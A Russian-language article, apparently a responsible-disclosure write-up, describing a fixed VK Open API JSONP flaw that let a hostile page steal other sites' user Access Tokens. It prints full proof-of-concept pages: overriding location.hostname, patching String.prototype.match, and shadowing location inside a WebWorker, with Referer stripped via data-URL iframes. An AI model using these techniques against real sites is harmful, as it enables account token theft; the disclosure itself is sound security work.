Pull to refresh

CSRF-уязвимость VK Open Api, позволяющая получать Access Token’ы сторонних сайтов, использующих авторизацию через VK

Reading time 14 min
Views 38K
Представляю вашему вниманию обзор уязвимости, связанной с неправильным применением JSONP в VK Open Api. На мой взгляд, уязвимость достаточно серьёзная, т.к. позволяла сайту злоумышленника получать Access Token другого сайта, если на нём используется авторизация через библиотеку VK Open API. На данный момент уязвимый код поправили, репорт на HackerOne закрыли, вознаграждение выплатили (1,500$).

Как это выглядело


В принципе, процесс получения пользовательского Access Token'а страницей злоумышленника происходил по стандартной схеме эксплуатации CSRF-уязвимости:

  1. Пользователь заходит на сайт, использующий библиотеку VK Open API (например, www.another-test-domain.com).
  2. Авторизуется там через VK.
  3. Потом заходит на сайт злоумышленника (например, www.vk-test-auth.com), который, эксплуатируя уязвимость, получает Access Token, принадлежащий сайту www.another-test-domain.com.
  4. Получив Access Token пользователя, злоумышленник может обращаться к VK API с теми правами, который пользователь дал сайту www.another-test-domain.com при авторизации на нем через VK.

Демонстрация


На видео показано, как страница «злоумышленника» на домене www.vk-test-auth.com получает Access Token пользователя VK, который авторизовался на сайте www.another-test-domain.com, несмотря на то, что в настройках приложения VK, доступ разрешён только для домена www.another-test-domain.com.



Конечно, домены я не регистрировал, т.к. в данном случае это не играет никакой роли. Когда записывался скринкаст, они были прописаны в hosts.

Немного о VK Open API


Выдержка из официальной документации:
Open API — система для разработчиков сторонних сайтов, которая предоставляет возможность легко авторизовывать пользователей ВКонтакте на Вашем сайте. Кроме этого, с согласия пользователей, вы сможете получить доступ к информации об их друзьях, фотографиях, аудиозаписях, видеороликах и прочих данных ВКонтакте для более глубокой интеграции с Вашим проектом.

Т.е. это JS библиотека, позволяющая работать с VK API (авторизация, вызов методов API, вроде 'wall.post', 'audio.get', 'video.add', etc...) прямо со страницы вашего сайта. Для того, чтобы использовать эту библиотеку, необходимо создать VK-приложение с типом «Веб-сайт», указать домен в настройках, и разместить пару тегов script на странице.

Подключение библиотеки


Пример подключения и инициализации библиотеки:

<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script>
<script type="text/javascript">
  VK.init({
    apiId: ВАШ_APP_ID
  });
</script>

Естественно, в параметре appId можно указать только ID VK-приложения, в настройках которого «Базовый домен» совпадает с доменом страницы, на котором мы подключаем библиотеку.

Наша страница может обращаться к методам VK API после того, как пользователь во всплывающем окне разрешит VK-приложению доступ к своему профилю. Для того, чтобы показать это всплывающее окно, нужно вызвать метод VK.Auth.login(). И после того, как разрешение получено, можно обращаться к VK API. Важное замечание: если пользователь однажды предоставил приложению доступ к своему профилю, то даже после перезагрузки страницы его разрешение остается в силе: не нужно каждый раз вызывать VK.Auth.login(). Для того, чтобы определить, нужно ли просить пользователя предоставить сайту (точнее, VK-приложению сайта) доступ к своему профилю, можно использовать следующий код:

VK.Auth.getLoginStatus(function(resp) { 
	if (resp.session) { 
		// Пользователь уже предоставил доступ к своему профилю.
		// Можно спокойно работать с VK API.  
	} else { 
		// Нужно просить пользователя предоставить доступ,
		// и только после его согласия работать с VK API.
 		VK.Auth.login(...);
	} 
}); 

Если при вызове VK.init() указать ID чужого приложения, домен которого не совпадает с доменом страницы, на котором запускается библиотека – ничего работать не должно (даже функция-callback, переданная в getLoginStatus() не будет вызвана).

Небольшая оговорка: оказывается, этот запрет можно обойти. Для того, чтобы было понятнее, вкратце расскажу, как работает проверка «авторизованности» пользователя в VK-приложении.

Принцип проверки авторизации пользователя


Для работы с VK API из JS-кода веб-страницы, используется метод VK.Api.call(), например:

// Получение информации о текущем пользователе
VK.Api.call('users.get', {}, function(result) {
	var user;
	if (result.response) {
		user = result.response[0];
		alert('Здравствуйте, ' + user.first_name + ' ' + user.last_name + '!');
	}
}); 

При первом вызове метода VK.Api.call(), библиотека обращается на бекенд VK за Access Token'ом. Для этого, внутри VK.Api.call() вызывается метод VK.Auth.getLoginStatus(), через который библиотека и получает этот токен (конечно, если только пользователь ранее предоставил доступ сайту к своему профилю). После того, как токен удалось получить, происходит запрос к API и получение ответа от сервера. Уязвимость кроется в способе получения и способе обработки ответа сервера в методе VK.Auth.getLoginStatus(). Всему виной JSONP, вернее, его некорректное применение.

Порочный JSONP


Давайте подробнее рассмотрим работу метода VK.Auth.getLoginStatus(). Для того, чтобы получить Access Token, делается JSONP-запрос на следующий URL:

https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456


Параметры:

  • aid – ID приложения
  • location – домен, с которого выполняется запрос
  • rnd – ID callback-функции (ведь это JSONP)

Если в запросе по URL, приведённом выше, домен в HTTP Referrer совпадает с доменом, который был указан в настройках VK-приложения, или если HTTP Referrer не передавать совсем (!) – то получаем такой ответ:

/* <html><script>window.location='http://vk.com';</script></html> */
if (location.hostname != 'www.example.com') {
	window.location.href = 'http://vk.com/oauth';
	for (;;);
} else {
	VK.Auth.lsCb[456]({
		"auth": true,
		"access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
		"expire": 1436755095,
		"time": 7200,
		"sig": "12d254526496a6db2af6bed2eb1dd3e7",
		"secret": "oauth",
		"user": {
			"id": "%ID_страницы%",
			"domain": "%имя_страницы%",
			"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
			"first_name": "%имя%",
			"last_name": "%фамилия%",
			"nickname": ""
		}
	});
}

Важно: При JSONP-запросе на вышеуказанный URL, браузер также отправляет куки пользователя. Поэтому, сервер знает, от имени какого пользователя VK делается запрос, и строит ответ исходя из этой информации.

Как я уже говорил раннее, ответом является JS-код, в котором следующая логика: если домен текущей страницы (location.hostname) равен домену, указанному в настройках приложения – вызываем функцию VK.Auth.lsCb[%значение_параметра_rnd%](), и в качестве первого аргумента передаём объект с Access Token'ом, иначе – перенаправляем пользователя на http://vk.com/oauth. Зачем? Это такая защита. Т.к. если бы домен, указанный в настройках VK-приложения не сверялся с location.hostname, то любой мог бы разместить у себя на сайте следующий код:

<script>
var VK = {
	Auth: {
		lsCb: {
			456: function (data) {
				// В объекте data находится Access Token (data.access_token)
				// и информация о текущем пользователе (data.user)
			}	
		}
	}
}
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

И таким образом получать Access Token (а вместе с этим и доступ к профилю) каждого пользователя, посетившего страницу злоумышленника, если этот пользователь предоставил сайту, использующему VK Open API, доступ к своему профилю (в примере выше, это www.example.com). Злоумышленнику остаётся лишь скрыть HTTP Referrer страницы, с которой делается запрос – это достаточно просто.

Итак, защита вроде бы работает, сверка текущего location.hostname с доменом VK-приложения ограничивает доступ посторонним к Access Token, но… в JavaScript есть геттеры/сеттеры, а у браузеров свои особенности/странности реализации стандартного окружения JS (BOM).

Эксплуатация уязвимости


Тогда я решил проверить, а что если определить для location.hostname геттер, который будет всегда возвращать строку "www.example.com"? Быстро проверив свою догадку в консоли, и убедившись, что этот хак на тот момент работал:

// Работает в Chrome-подобных браузерах младше 42-й версии, и всём, что на нём основано:
// Yandex.Browser, Opera (WebKit), Android Chrome, etc…
// На момент написания этого кода, актуальной была ~41 версия Хрома.
// Работало потому, что поле hostname объекта location являлось configurable-полем.
location.__defineGetter__('hostname', function () {
	return 'какая-то строка';
});

console.log(location.hostname); // 'какая-то строка'

Решил попробовать обмануть проверку домена так:

<script>
var VK = {
	Auth: {
		lsCb: {
			// Этот метод будет вызван после получения и выполнения JSONP-ответа от сервера VK
			456: function (data) {
				alert(data.access_token);
			}
				
		}
	}
};

location.__defineGetter__('hostname', function () {return 'www.example.com'});
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

Но появляется другая проблема – HTTP Refferer. Ведь с запросом по URL https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456 будет также передаваться HTTP Refferer страницы, и если домен этой страницы не совпадает с доменом, указанным в настройках VK-приложения, мы получим редирект на https://vk.com/js/api/openapi_error.js, в котором следующий код:

try{console.log('open api access error');}catch(e){}

Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:

  1. HTTP Refferer может передаваться не всегда.
  2. Вероятно это сделано для того, чтобы обеспечить работу VK Open API на страницах, у которых нет своего глобального URL (т.е. адрес страницы как-бы есть, но доступен только для вашего браузера, например Data URL, ObjectURL или страница настроек какого-нибудь браузерного расширения).

Один из способов скрыть HTTP Refferer – разместить на странице iframe, в src у которого будет Data URL, а в нём код другой страницы, в которой:

  1. Подменяется location.hostname.
  2. Объявляется функция-получатель Access Token'а ( VK.Auth.lsCb[456]()).
  3. Размещается
    <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">
    , который, собственно, и загружает ответ от сервера c вызовом JSONP-функции VK.Auth.lsCb[456]().

Эту страницу можно было разместить на любом домене, или просто открыть в браузере даже без веб-сервера, и она отображала Access Token и данные пользователя, если он авторизовался через VK на сайте, использующем VK Open API. Для успешной эксплуатации уязвимости, нужно было лишь указать в запросе ID приложения (параметр aid) и домен сайта, к которому привязано приложение (параметр location).

Как эта страничка выглядела:

<!doctype html>
<html>
<head>
	<title>Уязвимость VK JS Api</title>
	<meta charset="utf-8">
	<style>
		body,html {
			margin:0;
			padding:0;
			width:100%;
			height:100%;
		}
	</style>
</head>
<body>
	<iframe 
		src="data:text/html;charset=utf-8,%контент_закодированной_страницы%"
		style="width:100%;height:100%;border:0" />
</body>
</html>

Приблизительно так выглядел %контент_закодированной_страницы% в iframe:

<!doctype html>
<html>
<body>
<script>
	// Уязвимость эксплуатируется потому, что мы можем подменить значение location.hostname
	window.location.__defineGetter__('hostname', function () {return 'www.example.com'});

	var VK = {
		Auth: {
			lsCb:{
				456: function (data) {
					
					// Если в ответе есть access_token, значит пользователь авторизован
					if (data.access_token) {
						// Занесение имени, фамилии, ID и Access Token'a пользователя
						// в элементы на странице.
					} else {
						// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
						// и перезагрузить эту страницу.
					}
					
				}
			}
		}
	};
</script>

<!--
	В параметре aid мог быть ID любого VK-приложения типа "Веб-сайт", и если пользователь 
	предоставил сайту-жертве доступ к своему профилю VK, то код, описанный выше, успешно получал 
	Access Token и мог свободно обращаться к VK API.
 -->
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script>

</body>
</html>

Запаковав этот пример в архив, я написал в VK, и отправил им этот архив. Через пару дней уязвимость исправили. Точнее, после исправления уязвимость стала ещё серьёзнее. Если она раньше эксплуатировалась из-за особенности браузеров на WebKit, и то до ~42 версии Google Chrome, то теперь, она эксплуатировалась на всех браузерах, более-менее поддерживающих JavaScript. Знатоки JS, попробуйте догадаться по коду, размещённому ниже, почему всё стало ещё хуже? Учтите, что там для получения текущего домена используется не поле hostname (которое является конфигурируемым), а href, которое НЕ является конфигурируемым, и соответственно, для которого нельзя задать геттер, возвращающий нужное нам значение.

Ответ от сервера, после первого исправления уязвимости:

/* <html><script>window.location='http://vk.com';</script></html> */
if (!location.href.match(/https?:\/\/www\.mysite\.com\//)) {
    window.location.href = 'http://vk.com/oauth';
    for (;;);
} else {
    VK.Auth.lsCb[456]({
        "auth": true,
        "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
        "expire": 1436755095,
        "time": 7200,
        "sig": "12d254526496a6db2af6bed2eb1dd3e7",
        "secret": "oauth",
        "user": {
            "id": "%ID_страницы%",
            "domain": "%имя_страницы%",
            "href": "https:\/\/vk.com\/%имя_или_id_страницы%",
            "first_name": "%имя%",
            "last_name": "%фамилия%",
            "nickname": ""
        }
    });
}

Самое очевидное – незаякоренное регулярное выражение, и… я это заметил только во время подготовки статьи. Можно было просто построить URL страницы, эксплуатирующей уязвимость так, чтобы в ней присутствовала подстрока совпадающая с регулярным выражением, и всё бы заработало, правда, до тех пор, пока в регулярку не добавят якорь "^". Но ведь подмена браузерного окружения JS интереснее!

Так вот, подменить тут можно стандартный метод match() из прототипа String. Его нужно подменить так, чтобы он возвращал true, если первый аргумент равен регулярному выражению "/https?:\/\/www\.mysite\.com\//", при этом неважно, что находится в строке-получателе вызова метода match(). Доработав демо, я отправил обновлённую версию демонстрации уязвимости в VK.

Как и в прошлый раз, это была страница с iframe, в src которого был Data URL:

<!doctype html>
<html>
<body>
<script>
	var VK = {
		Auth: {
			lsCb:{
				456: function (data) {
					if (data.access_token) {
						App.ready = true;
						App.access_token = data.access_token;
						App.first_name = data.user.first_name;
						App.last_name = data.user.last_name;
						App.user_id = data.user.id;
					}
					App.init();
				}
			}
		}
	},
	App = {
		_original_match_method: String.prototype.match,

		_restoreOriginalMatch: function () {
			String.prototype.match = this._original_match_method;
		},

		init: function () {
			// Восстановление оригинального String.prototype.match()
			this._restoreOriginalMatch();

			if (this.ready) {
				// Занесение имени, фамилии, ID и Access Token'a пользователя
				// в элементы на странице.
			} else {
				// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
				// через VK и перезагрузить эту страницу.
			}
		}
	};

	// Добиваемся такого поведения:
	// 'any string'.match(/https?:\/\/www\.mysite\.com\//) // true
	// 'any string'.match(/.*/) // ['any string']
	(function () {
		var original_match = String.prototype.match;
		String.prototype.match = function () {
			// Знаю, что можно было сделать проверку по-другому, но тогда почему-то сделал так.
			return arguments[0] == '/https?:\\/\\/www\\.mysite\\.com\\//' ? true : original_match.apply(this, arguments);
		}
	})();
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script>

</body>
</html>

Отправив всё это я стал ждать.

Переход на новый уровень: WebWorkers


Через некоторое время после того, как я отправил последнее демо, уязвимость исправили. И снова, я решил попробовать разобраться, как именно исправили уязвимость.

Как и раньше, для получения Access Token'а пользователя делался JSONP-запрос на сервер VK, и в ответе была всё та же сверка текущего домена с доменом приложения VK:

/* <html><script>window.location='http://vk.com';</script></html> */
if (
	location.href !== 
		(location.protocol == 'https:' ? 'https' : 'http') 
		+ '://www.example.com' 
		+ (location.port ? ':' + location.port : '') 
		+ '/' + location.pathname.slice(1) 
		+ location.search + location.hash
) {
	window.location.href = 'http://vk.com/oauth';
	for (;;);
} else {
	VK.Auth.lsCb[456]({
		"auth": true,
		"access_token": "512aae7f9e9070f3bbb1600b934238546e4567892q2fj29739242e2b66521da110fdf5nmj9fee6ce8",
		"expire": 1438739486,
		"time": 7200,
		"sig": "53aa7a11c2431d96v8765e1b3c7q2c22",
		"secret": "oauth",
		"user": {
			"id": "%ID_страницы%",
			"domain": "%имя_страницы%",
			"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
			"first_name": "%имя%",
			"last_name": "%фамилия%",
			"nickname": ""
		}
    });
}

Проверка кажется безупречной, т.к. для получения текущего домена используется НЕ конфигурируемое поле location.href (т.е. на него нельзя навесить getter/setter). Сколько не пробуй, кажется, в окружении UI-потока браузера (там, где глобальным объектом является window) location не подменить… Но у нас ведь ещё есть окружение WebWorker'a! Проверив свою догадку, стало понятно, что в окружении Worker'a (DedicatedWorkerGlobalScope) поле location объекта self можно просто накрыть объектом с полями href, hostname и др. Почему? Всё просто: объект location находится не в самом объекте self, а в его прототипе, таким образом, инструкция var location = {}; выполненная в глобальной области видимости Worker'a, или Object.defineProperty(self, 'location', {value: ... }) просто перекрывают location из прототипа объекта self (т.е. добавляет объекту self собственное поле location). Таким образом, код, который будет подгружен через self.importScripts() при обращении к location, получит наш объект, а не оригинальный. Кстати, в UI-окружении браузера такой трюк не пройдёт: там объект location реализован как собственное поле объекта window, которое ничем не перекроешь.

Небольшой пример, как это работает:

<!doctype html>
<html>
<head>
	<title>Workers</title>
	<meta charset="utf-8" /> 	
</head>
<body>

<script>
(function () {
	var worker,
	// Этот код будет выполняться в отдельном потоке, в окружении Worker'а.
	// Для того, чтобы получить код в в виде текста, 
	// объявляем анонимную функцию и получаем её строковое представление.
	worker_code = (function () {

		// Затираем оригинальный location
		var location = {
			// URL страницы, которую мы эмулируем
			href: 'http://www.example.com/',
			search: '',
			hash: '',
			pathname: ''
		},
		VK = {
			Auth: {
				lsCb: {
					// Объявляем функцию-приемник объекта с access_token'ом
					456: function (data) {
						// Отправляем UI-потоку полученный объект
						self.postMessage(data);
					}
				}
			}
		};

		// Загружаем скрипт с Access Token'ом пользователя (куки тут тоже передаются).
		// По счастливой случайности, где-то с 42-й версии Chrome, с запросом в importScripts()
		// не посылается Refferer, если в конструктор Worker'у передать ObjectURL,
		// вместо пути к файлу. Так что referrer с запросом ниже не отправляется, благодаря чему
		// мы получаем валидный ответ от VK.
		importScripts('https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456');
			
	}).toString();
	
	// Удаляем из кода функции подстроку "function () {" в начале, и "}" в конце
 	worker_code = worker_code.substring(worker_code.indexOf('{') + 1, worker_code.length - 1);

	worker = new Worker(
		// Благодаря ObjectURL, можем обойтись без отдельного файла с кодом для Worker'a
		URL.createObjectURL(
			new Blob([worker_code], {type: 'application/javascript'})
		)
	);

	worker.addEventListener('message', function (e) {
		if (e.data.auth) {
			alert(e.data.access_token);
		} else {
			alert('Авторизуйтесь через VK на сайте www.example.com и перезагрузите эту страницу');
		}
	}, false);
}());

</script>
</body>
</html>

Таким образом, у нас есть возможность подменять JS API покруче, чем в UI-потоке. Оформив всё это «по-интересному», я стал ждать ответа. Через некоторое время уязвимый код в openapi.js поправили. Теперь для получения Access Token'а, библиотека делает кроссдоменный запрос на backend VK с использованием технологии Cross-origin resource sharing.

По-интересному


После отправки первых двух демо, мне показалось, что как-то неправильно реализовывать демо в виде простого отображения пользователю Access Token'a… И после недолгих раздумий, я решил сделать патч для библиотеки VK Open API (http://vk.com/js/api/openapi.js) так, чтобы она сама умела пользоваться уязвимостью.

Что в итоге получилось:

<!doctype html>
<html>
<head>	
	<!-- Подключаем VK Open Api -->
	<script src="http://vk.com/js/api/openapi.js"></script>

	<!-- 
		Подключаем патч, который добавляет к стандартному openapi.js возможность обращаться к VK API
		от имени приложения, которое привязано к другому домену.
		Т.е. если этот файл не подключить, уязвимость эксплуатироваться не будет. КЭП.
	 -->
	<script src="vk_opanapi_insecure_patch.js"></script>	
</head>
<body>
<script>
VK.init({
	// Стандартный параметр - ID VK приложения
	apiId: 1234567,
	
	// В файле vk_opanapi_insecure_patch.js, библиотека openapi.js модифицируется так,
	// что JSONP-запрос на получение Access Token'а делается в окружении Worker'a,
	// который имитирует UI-поток страницы с доменом из этого параметра.
	appDomain: 'www.example.com'
});

// После инициализации библиотеки с нестандартным параметром "appDomain", 
// можно обращаться к методам API как будто приложение с ID "1234567" является нашим, 
// и мы находимся на странице с доменом "www.example.com".
VK.Api.call('users.get', {}, function(r) { 
  if(r.response) { 
    alert('Текущий пользователь: ' + r.response[0].first_name + ' ' + r.response[0].last_name); 
  } 
}); 
</script>
</body>
</html>

Ссылка на архив.

Выводы


Порой инструмент, которым пользуешься на протяжении долгого времени, преподносит сюрпризы. Иногда в виде серьёзных уязвимостей. Однако есть общее правило: никогда не передавайте через JSONP конфиденциальные данные. Даже когда код валидации получателя JSONP-ответа кажется безупречным, выясняется, что можно подменить браузерное окружение JS (BOM) так, что вся проверка перед передачей токена коду страницы сводится на нет. Вообще, пора отказываться от JSONP в пользу CORS.

В этой публикации, я ни в коем случае не хотел выставить разработчиков VK Open API в нехорошем свете. Наоборот: ребята молодцы, разрабатывают крутой сервис, на крутых технологиях с отличной документацией и службой поддержки. А ошибиться может каждый. Основная причина, по которой я таки решился на написание статьи — это желание предостеречь веб-разработчиков от подобных ошибок.

В принципе, это всё. Я планировал описать суть уязвимости в нескольких абзацах, однако после написания каждого абзаца меня не покидало чувство недосказанности. Так и получилась эта пелена текста.

Благодарю за внимание!
Tags:
Hubs:
+62
Comments 17
Comments Comments 17

Articles